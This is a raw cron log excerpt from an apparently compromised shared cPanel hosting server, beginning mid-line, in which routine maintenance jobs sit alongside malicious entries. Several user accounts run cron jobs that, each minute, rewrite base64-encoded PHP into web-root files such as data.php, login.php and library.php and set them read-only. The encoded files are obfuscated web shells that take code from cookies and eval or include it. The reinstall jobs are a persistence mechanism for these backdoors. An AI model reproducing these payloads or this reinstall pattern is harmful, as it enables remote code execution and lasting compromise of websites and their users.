"$fp")
Jun  7 13:20:02 medusa CROND[15848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:20:02 medusa CROND[15849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15853]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:20:02 medusa CROND[15854]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:20:02 medusa CROND[15852]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:20:02 medusa CROND[15845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:20:02 medusa CROND[15861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:20:02 medusa CROND[15855]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:20:02 medusa CROND[15864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:20:02 medusa CROND[15857]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:20:02 medusa CROND[15858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:20:02 medusa CROND[15868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:20:02 medusa CROND[15870]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15877]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:20:02 medusa CROND[15879]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15871]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:21:01 medusa CROND[17436]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:21:01 medusa CROND[17437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:21:01 medusa CROND[17438]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:21:01 medusa CROND[17439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:21:01 medusa CROND[17440]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:21:01 medusa CROND[17441]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:21:01 medusa CROND[17445]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:21:01 medusa CROND[17446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:21:01 medusa CROND[17447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:21:01 medusa CROND[17448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:21:01 medusa CROND[17452]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:21:01 medusa CROND[17455]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:21:01 medusa CROND[17456]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:21:01 medusa CROND[17453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:22:01 medusa CROND[19192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:22:01 medusa CROND[19204]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:22:01 medusa CROND[19249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:22:01 medusa CROND[19251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:22:01 medusa CROND[19250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:22:01 medusa CROND[19252]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:22:01 medusa CROND[19254]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:22:01 medusa CROND[19255]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
